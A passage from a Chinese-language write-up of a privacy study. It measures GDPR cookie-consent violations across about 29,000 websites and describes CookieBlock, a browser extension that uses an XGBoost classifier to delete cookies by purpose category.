cookie。然而，大多数网站并没有给用户任何选择，还有一些网站试图欺骗他们接受所有的 cookie。本研究通过分析近 3 万个网站的
cookie弹窗中潜在的 GDPR
违规行为来记录这种情况的严重性。本研究确定了六种新的违规类型，例如不正确的类别分配和误导性的过期时间，令人惊讶的是，分析的94.7%
的网站中发现了至少一种潜在的违规行为。然后，研究者开发了一种工具通过赋予用户保护其隐私的权力来解决这个问题，名为 CookieBlock
的浏览器扩展程序（<https://karelkubicek.github.io/post/cookieblock> ），它使用机器学习在客户端强制执行
GDPR cookie 同意。它仅使用 cookie 本身提供的信息，按使用目的自动对cookie 进行分类。在平均验证准确率为 84.4%
时，模型获得了与该领域的专家知识相媲美的预测质量。此外，本文方法与以前的工作不同，不依赖于网站本身的合作，在一组 100 个随机抽样的网站上对
CookieBlock 进行了实证评估，它在这些网站上过滤了大约 90% 的侵犯隐私的 cookie，而不会显着损害网站功能。
## 0x01 Introduction
浏览器 cookie 是跟踪网站会话状态的最常用方法。虽然网站运行需要一些 cookie，例如保持用户登录的身份验证 cookie，但大多数 cookie
用于用户跟踪和广告。尽管存在浏览器指纹识别等无状态跟踪技术，但使用 cookie 的状态跟踪仍然是主要的跟踪方法。
政府试图通过法规解决用户跟踪问题。在欧盟，通用数据保护条例 (GDPR) 和电子隐私指令对个人数据的收集和跟踪进行了限制。 GDPR 第 6
条规定，网站收集用户数据需要有法律依据，最常见的依据是同意。第 7 条和第 32 条规定，同意必须是自由给予的、明确的、具体的和知情的。 GDPR 的
ePrivacy 指令和 Recital 30 规定同意要求也适用于 cookie 的使用。因此，网站必须告知用户 cookie
的用途，并且必须为用户提供拒绝出于特定目的同意的选项。
GDPR 提出了对同意解决方案的需求，由此出现了一个新的“同意即服务”（consent as a service）行业。提供这些服务的公司，称为同意管理平台
(CMP，Consent Management Platform)，为网站提供 cookie 弹窗，用于处理收集用户的同意，并详细描述 cookie
的所有用途。与仅告知用户仅使用 cookie 的简单 cookie 通知不同，CMP 承诺为用户提供对其个人数据的更多控制权，从而满足 GDPR
在这方面的要求。然而在来自英国的大约 14k 个网站和来自希腊的 3k 个网站的样本中，分别只有 44% 和 48% 的网站向用户显示 cookie 弹窗。
90% 的网站使用跟踪 cookie，这意味着许多网站忽略了遵守 GDPR。
使用 CMP 的网站也经常无法兑现承诺，许多网站甚至违反了基本规则。之前研究表明，在 680 个使用 CMP 的已检查网站中，有 88.2%
的网站在三个简单要求中的至少一项未通过，包括选择加入和明确同意的要求。在 1426 个选定网站的样本中，9.89%
的网站在用户做出选择之前表示同意，2.66% 的网站不允许拒绝任何 cookie，1.89% 的网站即使被用户拒绝也表示同意。此外，先前的工作还表明，许多
CMP 试图影响访问者接受所有 cookie。在 1000 个被检查的网站中，有 57.4%
使用轻推，这包括突出显示“全部接受”按钮，或隐藏拒绝同意的选项。这种趋势似乎没有改变，虽然高调的违规行为会受到处罚，但 GDPR 对 cookie
的执行却滞后。
**分析：** 本研究通过扩展和改进过去的研究来确认缺乏 GDPR 合规性。使用了从近 3 万个网站收集的数据集分析cookie
弹窗上显示的信息的准确性。具体来说会识别不正确的类别分配、误导性的 cookie 过期时间，并评估同意机制的整体完整性。定义了六种新方法来检测潜在的
GDPR 违规行为，并扩展了先前工作中使用的两种方法。对于选定的域，发现 94.7% 包含至少一个潜在违规行为。在 36.4% 中，发现至少一个
cookie 的用途分配不正确，在 85.8% 中，至少有一个 cookie 缺少声明或用途。 69.7% 的网站在给予同意之前假设了积极的同意，21.3%
的网站在不同意的情况下创建了 cookie。结果表明这个问题比之前指出的更严重。研究涉及的过程和（中间）结果如下图所示。
**浏览器扩展：** 根据先前工作的证据和本研究的测量，cookie 同意做法如此频繁地违反
GDPR，以至于监管机构无法跟上。因此研究者为用户提供了一种工具，可以在没有监管干预的情况下强制他们的网络客户端同意
cookie。本研究开发了一个浏览器扩展程序 CookieBlock，它按目的对 cookie 进行分类，删除用户拒绝的那些。通过这种方式，用户可以删除
90% 以上的所有侵犯隐私的 cookie，而无需信任 cookie 禁止者或 CMP。以前为用户提供这种控制的尝试，如 P3P
标准，由于网站管理员缺乏实现所需功能的意愿而失败。此工具完全不依赖网站的合作来回避这个问题。
本研究在一组 100 个网站上评估 CookieBlock，以量化扩展对用户浏览体验的影响。 CookieBlock 在 85% 的网站上没有问题，在 8%
上涉及非必要网站功能的小问题，在 7% 上导致更严重的问题。更严重的问题涉及由于删除基本 cookie
而导致用户的登录状态丢失。为了解决这些问题，用户可以选择性地定义网站豁免，并通过CookieBlock 的界面更改cookie 的分类。为了对 cookie
进行分类，CookieBlock 使用了一组决策树模型，该模型使用 XGBoost 库进行了训练。从 29398 个网站收集了一个 cookie
训练数据集，这些网站显示来自一组特定 CMP 的 cookie 弹窗。每个 CMP 都维护自己的 cookie 到目的的映射，用它来为数据集中的
cookie 定义基本事实类标签。
通过将其性能与“Cookiepedia”存储库进行比较来评估该模型。 Cookiepedia 根据其名称为 cookie 分配目标，并由浏览器 cookie
领域的专家在 10 年内手动构建。查询此存储库以进行目的预测，并将结果与选择的基本事实进行比较。总之，发现了Cookiepedia 达到了 84.7%
的平衡准确率，而本文的XGBoost 训练模型达到了 84.4%。因此，模型与人类专家所取得的性能具有可比性，表明可以仅使用 cookie
本身中可用的信息按目的对 cookie 进行自动分类。
首先，本工作识别了cookie 弹窗中的不准确信息，并将其应用于大约 3 万个网站的样本，发现其中 94.7% 的网站可能违反
GDPR。其次，提出了一个机器学习分类器，它可以从 cookie
中推断出目的，达到与人类专家相媲美的性能。第三，开发了一个浏览器扩展程序，可以根据用户的偏好自动删除 cookie，与同类方法不同，该扩展程序适用于任何
cookie，并且不需要网站合作。最后发布了工具，允许网站管理员验证和改进其网站的 cookie 同意合规性。
## 0x02 Dataset Collection
从同意管理平台 (CMP) 收集 cookie的使用目的：与 Cookiepedia 相比，这些使用目的由网站管理员选择，他们控制在用户浏览器中创建哪些
cookie。因此，研究者从完全了解 cookie 目的的各方收集，而不是从可能不知道完整背景的第三方收集。这也能够将类别分配给 Cookiepedia
可能不知道的少数 cookie
第一步是选择列出 cookie 及其用途的 CMP。然后，从一组 600 万个 do mains 中，检测到所选 CMP 的存在。对于每个使用 CMP
的网站，网络爬虫会收集 CMP 声明的 cookie 以及与网站交互时在浏览器中创建的 cookie。最后将声明与 cookie
结合起来，并获得用于分类器的训练数据。
### A. 合适的 CMP 和 cookie 类别
网络上有大量的 CMP，每个都提供自己的网站插件。这些插件的范围从简单的通知到精心制作的 cookie
弹窗，允许用户从数十种可能的类别选项中进行选择。本研究打算收集的目的分配只能从所有 CMP 的一小部分中检索。在本节描述了用来选择它们的标准。
第一个标准是 CMP 必须公开且可靠地列出正确实施插件的每个网站上每个 cookie 的用途。这对于收集作为基线的使用目的标签至关重要。在某些网站上，CMP
可能会提供类别选择，但不会显示哪些 cookie 属于哪个类别。第二个标准是，当此映射存在时，它必须能够以一种可以自动处理的方式访问，最好是由 CMP
本身远程托管在服务器上。一些网站在其隐私政策中列出了 cookie 到用途的映射。这通常没有用，因为此类策略的 HTML
结构在站点之间差异很大，因此需要针对每种情况进行专门的数据提取。
在上表中列出了技术趋势数据库 BuiltWith 报告的全球市场份额最高的 CMP。对于每个条目，会根据标准列出它们对数据收集的适用程度。选择了 CMP
OneTrust、OptAnon、Cookiebot、CookiePro 和 Termly，此处以粗体显示，将用于数据提取和分析的所有后续步骤。
#### （1） Cookie使用目的类别
没有法律规定 CMP 必须声明哪一组 cookie 目的。仅识别网站运行所必需的 cookie，根据 ePrivacy 指令第 5(3)
条，无需用户同意，因此可以在与 cookie 弹窗交互之前设置。
鉴于这些类别不受监管，这种选择因 CMP 而异。例如，IABEurope 定义的行业标准 Transparency and Consent
Framework 2.0 (TCF) 提出了一组 12 种 cookie 用途。其他的，比如
OneTrust，甚至支持网站管理员自定义类别的定义。在这项工作中将自己限制在以下四个类别，这些类别最初由英国国际商会定义：
**1.（严格）必要的cookie：** 在不破坏网站主要功能的情况下不能省略，例如身份验证cookies。
**2.功能性cookie：** 允许在不收集用户数据的情况下进行网站定制，并且不是基本服务所必需的。示例包括用户特定的本地化和布局定制。
**3.分析性cookie：** 用于跟踪和分析用户在单个域上的行为，并用于聚合数据收集。 Google Analytics cookie
是此类别的常见示例。
**4.广告 cookie：** 通过跟踪多个不同域的用户来提供有针对性的广告。 DoubleClick 或社交媒体网站是跟踪 cookie 的常见来源。
除了这些类别之外，还识别了未分类的 cookie。上述四个类别的优点是它们代表了从最少到最多侵犯隐私的 cookie
类型的排序，并且它们代表了明显不同的功能。这使用户更容易选择和区分它们。为了将 cookie
弹窗中列出的用途映射到本研究内部使用的类别，使用下表中显示的关键字映射。不包含任何关键字的用途被记录为“其他”，并且既不用于训练分类器也不用于本文分析。
#### （2）CMP爬虫
在选择要定位的 CMP 后，需要找到使用这些 CMP 来显示 cookie 弹窗的域。为此使用 Python requests
库实现了一个快速的网站扫描程序，以同时获取多个目标网站的索引页面并扫描它们是否存在所需的 CMP。如果使用 CMP，则该网站被记录为检索 cookie
标签的潜在候选者，否则，该网站将被过滤掉。由于使用选定 CMP 的网站比例相对较低，并且为了最大限度地收集数据量，使用一组近 600
万个不同的域来初始化存在爬网。主要来源是 2021 年 5 月 5 日的 Tranco 排名（<https://tranco-list.eu/list/P63J/full> ），其中列出了按其估计的全球受欢迎程度排名的域名。
本研究的网络扫描是在位于德国的 AWS EC2 服务器实例上执行的，该实例具有 32 个 vCPU、64 GB RAM 和 10 Gigabit
连接。在欧盟国家内进行扫描时特别小心，因为以前的工作表明在 GDPR 执行方面存在重大的地理歧视。 Cookie
弹窗通常不太可能向非欧盟访问者展示。总的来说，为数据收集过程找到了 37 587 个（约 594 万的 0.63%）个候选域。
#### （3）抓取cookie同意信息
数据收集过程的第二阶段是从候选域中提取 cookie 及其相应的用途。为此，使用了 OpenWPM 框架，版本 0.12.0，它通过 Selenium
运行多个并发的 Firefox 浏览器实例。 OpenWPM 对浏览器进行检测，以便记录所有 cookie 创建和更新，将这些 cookie 称为观察到的
cookie。
本研究扩展了OpenWPM 以处理从 CMP 中提取的数据。收集的信息至少包括声明的名称、域、过期时间和用途描述，以及 cookie
的用途类别，将这些数据称为声明的 cookie。检索声明的 cookie 的确切方法特定于 CMP 实现。所有方法的共同点是直接从定义同意机制的
JavaScript 文件中检索信息。因此，收集的信息应直接与接受或拒绝哪些 cookie 相关，具体取决于用户在 cookie 弹窗中的选择。
爬取过程如下：对于每个域，在到达登录页面后，爬虫程序会检测网站上活跃的 CMP。然后提取声明的 cookie
集。如果此过程没有错误，则后续步骤旨在触发在浏览器中创建 cookie。首先，爬虫使用 Consent-O-Matic 扩展 同意 cookie
弹窗中的所有 cookie使用目的。这是必需的，否则，未经同意将阻止创建
cookie。之后，浏览器访问指向域子页面的随机链接，向下滚动到每个页面的底部并为每个子页面执行随机光标移动。作为爬行速度和收集数据量之间的权衡，为每个站点访问了十个随机选择的子页面。同意爬取是在AWS
EC2 实例上执行的，大约需要 36 小时来处理约 37.5k 的候选域。总共成功地从 29398 个网站的 cookie 弹窗中提取了 ~ 220
万个声明的 cookie（每个站点 ~ 72 个 cookie）。此外从这些相同的网站中提取了 602k 个观察到的 cookie（每个站点约 22 个
cookie）。总共发现 81.2% 的声明 cookie 是第三方条目，而观察到的 cookie 中只有 46.3% 来自第三方。声明和观察到的
cookie 的数量存在差异，解释如下：
**与网站的有限自动交互：** 爬虫不会注册帐户、登录或修改网站设置，这可能会导致观察到的必要和功能性 cookie 减少。
**过多的声明：** CMP 在其 cookie 弹窗中列出的 cookie 可能比网站上的实际 cookie 多得多。大约 12 个
cookie。观察到用户每个站点会遇到平均约 22 个 cookie。
#### （4）获取训练数据集
训练数据集由观察到的 cookie 组成，其目的来自匹配的 cookie 声明。每个 cookie
由其名称、主机和爬虫的目标域唯一标识，这些值用作加入观察和声明的 cookie 的关键。这会产生总共 304k 的 cookie 样本用于训练，其中
28.2% 是必要的，6.2% 是功能性的，29.0% 是分析性的，36.7% 是广告。另外 18,000 个 cookie
未分类，或声明的用途无法分配给任何类别。
上图显示了每个类别的声明总数，以及观察到的 cookie 的比率。重要的是要注意功能性 cookie
的类别代表性不足，在训练分类器时通过加权样本来弥补这一点。此外，尽管声明过多，但在 602k 观察到的 cookie 中，只有 53.6%
可以与声明匹配。这意味着网站上可能存在许多 cookie 弹窗未知的 cookie。
## 0x03 Feature Extraction
Cookie 具有多个属性，包括名称、域、路径、值、到期时间戳，以及诸如“HttpOnly”、“Secure”、“SameSite”
和“HostOnly”属性等标志。 这些属性与 cookie 的用途之间没有直接的关系。
因此提取统计丰富的、特定领域的特征，以便机器学习模型可以从数据中提取潜在的复杂、有意义的关系。定义了 50 多个特征提取步骤，将 cookie
表示为实值稀疏向量。 在下面提供了这些步骤的高级说明。 在线文档（<https://github.com/dibollinger/CookieBlock-Consent-Classifier> ）中给出了完整描述。
**前 500 个最常见的名称和域名：** 识别 cookie 用途的一种非常有效的方法是检测 cookie
名称或其来源域是否属于最常见的在线标识符。使用Tranco 列表中具有代表性的随机网站样本，收集了 500 个最常见的 cookie
名称和域的排名。直觉是，Web 模块使用具有预定义名称和用途的第一方 cookie，例如 PHP 中的 PHPSESSID，并且源自同一领域的 cookie
通常具有共同的用途。
**值类型、编码和长度：** 一些特征表明 cookie 内容中存在特定数据类型。范围从标量类型（如布尔值或整数）到复合类型（如 CSV 或
JSON）。还记录复合类型的条目数，以及以字节为单位的内容长度作为序数特征。进一步区分十进制和十六进制整数，以及 base64 和 URL
编码的字符串。直觉是，通过识别 cookie 中存储的数据类型，分类器可以更好地区分哪些 cookie
用于跟踪。例如，长十六进制字符串比短小数更有可能用于唯一标识用户日期、时间戳、UUID、URL 或语言环境字符串。这些值可能会提供有关 cookie
用途的提示。直观地说，日期、UUID 和时间戳可用作跟踪的唯一标识符，而区域设置和 URL 更常用于功能性 cookie，例如更改显示语言或输入法。
**更新特征：** Cookie 是动态的，可以通过 HTTP 请求或 JavaScript 代码中的事件频繁更新。因此不仅会考虑 cookie
的单一状态的特征，还会考虑随时间发生的变化。例如，cookie 在固定时间间隔内更新的总次数，或 cookie 更新之间的编辑距离。
**熵：** cookie
内容的熵，例如使用香农方法计算的，可以提供有关其随机性的信息。直觉是跟踪标识符通常包含一个随机生成的组件，因此具有高熵，因此可能允许分类器检测跟踪
cookie。
请注意，并非所有 cookie 特征都可以在所有设置中使用。例如在数据集中，广告 cookie 的更新频率低于其他类型的
cookie。虽然这个属性可以用作训练的特征，但它高度依赖于用户的浏览模式。任何基于此类模式的特征在浏览器扩展的设置中都是不可靠的，并且可能导致在模型验证期间无法观察到的错误预测。因此，对于
CookieBlock，仅使用那些与浏览模式无关的功能。尽管如此，此类属性仍可用于具有固定浏览行为的离线设置，例如涉及自动网络爬虫的研究。每个差异特性概述如下图。所有特征提取为两个连续更新之间的比较，按时间戳排序。
每个cookie的特征概述如下图，所有的特征都从每个独特cookie提取。当标记为*的条目在浏览器扩展的上下文中使用时，可能会导致问题。在名称后面的圆括号中，显示了该特征所接受的向量条目的数量。
每次更新的特征概述如下图，每次Cookie更新时提取一次的所有特征。用于提取的更新数可以单独指定。
## 0x04 Classification
### A. 基线
将模型的性能与该领域专家的手动分类性能进行比较。即从公共 cookie 存储库 Cookiepedia 中查询 cookie
用途。据报道，Cookiepedia 存储了超过 3000 万个 cookie
的数据，其中很大一部分都标有目的类别。这些类别与前文中选择的类别相匹配。对于数据集，Cookiepedia 为 79.2% 的 cookie
提供了用途。为了使用 Cookiepedia 作为分类器，在数据集中查询每个 cookie 名称，并从存储库中获取相应的目的。然后将这些目的与从 CMP
收集的类别标签进行比较。为了验证 Cookiepedia 作为分类器，将 cookie 数据集分成 5
个大小相等的块，并计算平均准确率、精度和召回率。在下表中展示了结果。
测量结果表明，Cookiepedia 的平均平衡准确度（即宏观召回）达到了 83.4%。它对必要 cookie 和广告 cookie
都达到了很高的精度，但对功能性 cookie
的精度特别低。这可以通过在验证数据中发现的类别不平衡来解释。由于功能性基本事实的样本数量较少，因此将此类别分配给其他 cookie
的任何错误都会对此类的精度产生比其他类别更大的影响。
### B. 模型选择
为分类 cookie 选择的模型是决策树的集合。使用 XGBoost 库训练它们，该库使用 Chen 和 Guestrin
开发的稀疏感知梯度树提升方法。使用 boosting 是因为决策树的集合可以像神经网络一样具有竞争力，并且在多个机器学习竞赛和基准测试中取得了最佳性能。
在多类分类的设置中，XGBoost 为每个目的类创建了一个带有决策树森林的分类器模型。给定一个表示 cookie
的稀疏输入向量，该模型为每个目的生成一个概率，表明 cookie
属于它的可能性有多大。使用贝叶斯决策函数，将这些概率转换为离散预测。对于评估，应用一个简单的 argmax 决策，即选择概率最高的目的作为预测。
### C. 训练参数
使用的数据集由 304k 标记的 cookie 组成，其中 277k 用于训练。过滤掉的 27k cookie 是 CMP 创建的
cookie，用于跟踪用户与 cookie 弹窗的交互。这种过滤旨在消除训练偏差，因为这些 cookie 始终存在于抓取的网站上，但在所选网站之外并不常见。
为了找到好的超参数，应用了带有 5
折交叉验证的随机网格搜索。由于训练数据集不平衡，每个模型的性能都使用多类交叉熵损失以及平衡精度进行验证。影响最大的参数是学习率和最大树深度，分别选择了
0.25 的速率和 32 的深度。进一步增加深度会导致验证性能下降。对每个模型进行了最多 300 轮的训练，在 20
轮后提前停止，验证分数没有增加。对于最终模型，每个森林有 12 到 29 棵树，平均大小为 22 棵树。完整的参数集见下表。
### D. 错误分类的影响
选择的使用目的类别可以解释为一种排序，必须是最少的并且广告最侵犯隐私。使用这种排序，将功能 cookie 错误分类为必要类别会降低隐私影响，因为功能
cookie 的排序很接近，不太可能用于用户跟踪。将广告 cookie
错误地分配给必要的内容代表了更大的隐私威胁，因为这些类别在排序上相距甚远，可能无条件地允许跟踪 cookie。
同样还考虑了由于错误分类而导致网站崩溃的可能性。当必要的 cookie
被预测为广告并因此被删除时，它可能会破坏网站上的一项基本服务，并大大降低用户体验的质量。将类功能分配给必要的 cookie
会减少影响，因为用户不太可能拒绝此目的，因为它对隐私的侵入性较小。可以使用广告类的召回指标来识别广告 cookie
逃避检测的概率。在必要类别的召回中可以发现破坏网站基本功能的潜力。任一性能指标越接近 1，隐私威胁越低，网站被破坏的可能性就越小。
### D. 评价
下图比较了 XGBoost 和 Cook iepedia 的性能，下表展示了 XGBoost 模型的性能指标。
**XGBoost 获得更高的隐私保护：** 首先考虑通过召回广告类别的潜在隐私保护。在这里，召回衡量的是分类器正确识别为广告的广告 cookie 的比例。
XGBoost 的召回率比 Cookiepedia 高出近 9%。在上图中看到 Cookiepedia 在这方面的错误分类主要是因为它将广告 cookie
分配给分析或功能类。
**XGBoost 保留必要的功能性 cookie：** 考虑了网站崩溃的可能性。 XGBoost 分类器对必要 cookie 的召回率为 81.7%，比
Cookiepedia 所达到的低近 7%。对于功能性 cookie，召回率为 76.3%，比 Cookiepedia 低约
2%。正如在上图中看到的，大多数必要的错误分类都被分配给了功能目的，反之亦然。因此，如果用户同时接受必要和功能性 cookie，则扩展程序将保留大约 91%
的必要和 88% 的功能性 cookie。
**XGBoost 与人类专家一样强大：** 自动 XGBoost 模型在其余指标中的表现与手动策划的 Cookiepedia 非常相似。两者在功能性
cookie 中的精度和准确性都降低了，这是由于类不平衡而发生的。此外，两者都实现了分析类的高召回率，XGBoost 将精度提高了 5% 以上。
总而言之，当查询每个 cookie 名称时，Cookiepedia 在数据集上实现了 84.7% 的平衡准确率。自动化、XGBoost 训练的分类器实现了
84.4% 的平衡准确率，从而获得了与人类专家所达到的性能相当的性能。虽然 Cookiepedia 在必要类别中更准确，但 XGBoost 在广告
cookie 方面表现更好。在必要 cookie 方面的不足可以通过使用另一种贝叶斯成本函数来抵消，该函数比其他方法更强烈地惩罚必要 cookie
的错误分类。最后，Cookiepedia 可以分类的 cookie 数量是有限的。对于数据集，Cookiepedia 能够为 79.2% 的 cookie
提供一个类别，而分类器可以为每个 cookie 预测一个类别。
### E. 性能上限
在本节中尝试在数据集上估计理论上最好的分类器性能。收集的 cookie 标签很嘈杂，因为不同的网站可以使用相同的第三方
cookie，但它们不一定同意其目的。这意味着不可能在此数据集上达到 100% 的准确度，因为尽管目的不同，某些 cookie
将无法区分。为了估计这种情况下数据集中 cookie 的百分比，收集每个第三方 cookie 名称和域的多数类，并计算具有偏差类的 cookie
的百分比。这提供了 7.2% 的标签下限，即第三方 cookie 中的噪声标签。如果假设第一方和第三方 cookie
的噪声相似，可以得出结论即总体准确度上限约为 92-93%。 总体平均准确率为
87.2%，分类器在该数据集上接近最佳性能。XGBoost应用于使用Cookiepedia标记的cookie数据集时的性能如下：
## 0x05 Browser Extension
在本节中将描述 CookieBlock（<https://github.com/dibollinger/CookieBlock> ）的设计和实现。它是基于
Firefox 和 Chromium 的浏览器的扩展，可以自动将 cookie 分类为目的类别，并允许用户拒绝同意用于选定的目的。
### A. 目标和特点
CookieBlock 的目标是让用户控制他们的隐私，这是大多数网站所忽视的做法。在排名前 100 万的网站中，总共只有 3.5% 使用 CMP 提供
cookie 同意选择，其中许多确实通过暗模式欺骗用户，或通过提供错误信息。因此，CookieBlock 为用户提供了一种在他们访问的任何网站上控制他们的
cookie 同意的方法，而不会有被欺骗的风险。 CookieBlock 提供以下功能：
**• 用户定义的cookie 策略：** CookieBlock
的核心功能是用户指定他们同意或拒绝同意前文中的四个类别中的哪一个。所有属于拒绝同意的目的的 cookie 将从浏览器的存储中删除。
**• 域例外：** 对于用户信任的域，他们可以定义一个例外。该扩展程序不会删除任何源自豁免域的 cookie，无论其用途如何。
**• 自定义cookie 类别：** 用户可以定义自己的 cookie 类别，这些类别可用于纠正分类器所犯的个别错误。
请注意，虽然 CookieBlock 模仿 CMP 的行为，但它并非旨在与网站上显示的 cookie
弹窗进行交互或删除。现有的浏览器扩展已经实现了这个功能，例如 Consent-O-Matic，它可以与 CookieBlock 结合使用。
CookieBlock 也不能作为法律意义上的 cookie 弹窗的替代品，并且它的使用并不是网站跳过收集用户同意的理由。
### B. 设计与实现
CookieBlock 是使用 WebExtensions API 构建的，并且支持 Firefox 以及基于 Chromium
的浏览器。下图给出了其设计的概述。
#### （1） 后台进程
初始化时，CookieBlock 开始监听 cookie 事件。创建或更新 cookie 时，cookie 的当前状态会附加到本地 cookie 历史记录
(1)，并检索该 cookie 先前更新的完整列表 (2)。此历史记录允许 CookieBlock 跟踪 cookie
随时间的演变，这是用于特征提取的属性。
之后，CookieBlock 检查其存储以确定最近是否遇到过 cookie 或是否已为其分配了预定义的类别 (3)。在这种情况下，它检索现有的目的标签
(4)，并直接跳到策略执行步骤 (5a)。如果 cookie 没有存储现有的标签，那么继续进行特征提取 (5b)。这将 cookie 对象转换为稀疏向量表示
(6)。然后它在这个向量输入上运行预先计算的 XGBoost 模型，预测 cookie 的目的标签。然后，预测的标签会在扩展存储中缓存一小段时间
(7)。最后，预测的标签被传递到策略执行程序 (8)，它决定是保留还是删除 cookie。
为了决定是保留还是删除 cookie，CookieBlock 会考虑用户的 cookie 策略和域例外 (9)。如果 cookie
的源域与域例外集中的域匹配，则策略执行将始终保留 cookie。
#### （2） 用户界面
用户界面分为四个不同的组件：
**首次设置：** 扩展的首次设置页面允许用户定义用户策略，并将请求发送到本地 cookie 历史记录的集合。这是初始化扩展所需的最小设置。
**设置页面：** 设置页面允许用户随时更改其同意偏好并添加个别网站例外。
**工具栏弹出：** 工具栏弹出窗口提供了一种快速方法来暂停 cookie 删除并在地址栏中为域添加例外。
**Cookie 配置：** cookie 配置页面允许用户为以前遇到的 cookie 定义自定义类别并纠正错误分类。
对于设置页面和首次设置，CookieBlock
允许用户同意功能、分析和广告目的。不能拒绝必要的类别，因为这样做会破坏网站。将界面设计为易于使用且不引人注意。与在不同网站上发现的 cookie
弹窗不同，CookieBlock 只需要一次设置，之后用户的 cookie 偏好将在所有网站上强制执行。这可以防止由于用户疲劳或 cookie
弹窗的烦恼而忽视隐私的问题。
#### （3）Cookie 更新历史
如前所述，CookieBlock 收集 cookie 更新日期历史记录。这允许它跟踪 cookie 如何随时间变化，从而根据这些差异进行预测。它还允许
CookieBlock 通过识别之前遇到过哪些 cookie 来记住过去的目的分配。
由于此 cookie
历史记录可能包含潜在的敏感用户信息，包括有关浏览历史记录和身份验证令牌的信息，因此历史记录始终保存在浏览器扩展的本地。此外，CookieBlock
要求用户在设置时选择加入此历史记录的集合。如果被拒绝，CookieBlock 仍然可以对 cookie
进行分类，但它将无法记住以前的标签或从过去的更新中提取特征，这可能会降低其准确性。
#### （4） 缓存用途
CookieBlock 在做出预测后会在短时间内缓存标签。这可以最大限度地减少浏览器速度减慢，以防网站在删除 cookie
后不断重新生成它们。宽限期到期后，cookie 将使用新收集的 cookie 更新重新分类。
#### （5） 实证评价
分类器对必要 cookie 的召回率为 81.7%，这意味着网站运营所需的每五个 cookie 都可能被错误分类。由于 CookieBlock
使用计算模型作为预测器，因此可能会无意中删除许多必要的 cookie，从而导致网站出现故障。然而，由于数据集中的噪声，目前尚不清楚这个问题在实践中有多严重。
为了量化 CookieBlock 对浏览体验的影响，手动访问并检查了 100
个网站的样本是否存在可能的故障。此评估是有限的，因为它不构成完整的可用性研究。但是，由于扩展程序充当后台进程，理想情况下它应该只需要与用户进行很少的交互。因此专注于评估网站是否因错误分类而崩溃，这是在这种情况下可用性的关键方面。使用指数分布从
Tranco 列表中随机抽样网站。这能够检查流行网站和利基网站。此外，此网站选择不限于使用特定 CMP 的网站。
使用全新安装的 CookieBlock，配置为允许必要的功能性
cookie，这是推荐的设置。对于每个网站，都尝试尽可能地利用其主要服务，并记录在此过程中遇到的任何缺陷。还尝试更改网站设置，例如语言或样式，并尝试注册帐户并在可用的情况下执行登录程序。最后还与
cookie 禁令互动并关闭，记录是否在页面重新加载时再次出现。重新出现的 cookie
弹窗可能会让用户非常恼火，但它不会阻止网站的使用，因此这些可能是错误分类的功能性 cookie。如果遇到任何意外行为，会通过禁用 cookie
删除来确定这是否是由 CookieBlock 引起的。
结果表明在检查的 100 个网站中：85 个没有明显的故障，7 个由于 CookieBlock 的原因再次出现 cookie 弹窗，7
个显示身份验证失败，用户立即退出，在一种情况下无法更改网站语言。 因此，严重缺陷的发生率没有预期的那么严重。
此外，通过为当前站点定义一个例外，或通过在扩展界面中更正 cookie 的指定用途，所有问题都得到了解决。
还测量了 CookieBlock 为 cookie 做出策略决策所需的时间。 在 Linux 上的 Firefox 浏览器上运行
CookieBlock，它总共处理了从真实网站观察到的 5561 个 cookie。 每个决策平均耗时 20 毫秒，最长为 4.3 秒。
这个异常值是由浏览器中的异步执行引起的。 Firefox 浏览器还报告了扩展的“低”能量影响。
## 0x06 Observed Violations
GDPR 第 7 条和第 32 条要求同意必须是自由、具体、知情和明确的；因此，任何显示误导或虚假信息的 cookie
弹窗都可能违反法律。在本节中对选定的合适 CMP 显示的数据进行了分析，对来自 29 398 个网站的 cookie 数据集进行了分析。对于这些网站，评估
cookie 的正确性—— cookie 弹窗上显示的类别分配、cookie 声称的到期时间以及 cookie
弹窗的完整性。这些方法包括六种在先前工作中未探索的新分析方法。
此外，分析了网站是否假定隐式 cookie 同意或尊重用户的同意选择。通过观察浏览器中设置了哪些类型的 cookie 来实现这一点。总之，在 29 398
个网站中，94.7% 的网站至少包含一个问题，而 77.3% 的网站至少包含两个问题。
### A. 不正确的 cookie 用途
**常用cookie 的用途不正确：** Google Analytics cookie，例如 _ga、_gat 和
_gid，在整个网络中普遍存在，并且具有众所周知的用途。尽管如此，仍有许多网站不将这些 cookie 声明为分析。就 Google Analytics
而言，在 29 398 个被检查的网站中，有 8.2% 的网站将这些 cookie 的用途不正确。此外，根据 Planet49 案的裁决，所有网站中有
2.7% 声明至少一个 GA cookie 是必要的，而欧盟法院此前裁定这违反了 GDPR。
**基于多数意见的使用目的不正确：** 在收集的数据集中，观察到对于相同的第三方 cookie
标识符，不同的域可能在目的上存在分歧。使用这个事实来估计分类器的性能上限。在这里，使用它来检测异常用途分配，这可能表明声明不正确。发现了30.9%
的网站包含至少一个第三方
cookie，其目的与相应的三分之二多数不同意。这是潜在违规次数的下限。如果多数类别为假，则潜在违规的数量会更大。由于这只是一个下限，使用此方法检测到的每个案例都需要手动分析以确定它是否构成真正的错误分类。
**带有多个标签的 Cookie：** 当同一个网站出于不同甚至相互矛盾的目的多次标记 cookie 时，就会出现歧义。在 2.3%
的被检查网站中观察到了这一点。这种模糊性可能会欺骗用户，因为没有明确定义仅拒绝其中一个目的是否足以阻止 cookie 的创建。在实践中观察到网站创建的
cookie 具有一种接受和一种拒绝的目的。此外，在 0.7% 的网站中，cookie 被声明为必要和其他目的，这意味着这些 cookie 根本不会被拒绝。
### B. 未分类和未声明的 cookie
研究中针对的 CMP 提供 cookie 扫描服务，可检测网站上的 cookie 并根据数据库查找建议用途。那些无法以这种方式注释的 cookie
必须由站点管理员手动分配其用途。这个过程有两个问题。首先，当网络管理员忽略指定用途时，cookie 会变得未分类。其次，当 CMP 扫描未能检测到
cookie，或者在扫描后添加了 cookie 时，这些 cookie 未声明并且在 cookie
弹窗中丢失。网站的访问者既不能拒绝未声明的类别，也不能拒绝未分类的类别，这意味着同意既不知情也不自由。
**未分类的 cookie：** 在 25.4% 的检查网站中发现了未分类的 cookie。这些网站平均包含 11 个未分类的
cookie。令人惊讶的是，发现 45 个网站包含 200 多个未分类的 cookie。
**未声明的 cookie：** 通过识别哪些观察到的 cookie 没有匹配的声明来检测未声明的 cookie。在匹配名称和域时，在 82.5%
的被检查网站中发现了未声明的 cookie。在 496,000 个 cookie 中，有 40.2% 未声明。与未分类的 cookie 类似，发现 71
个网站包含超过 100 个未声明的 cookie。
### C. 过期时间不正确
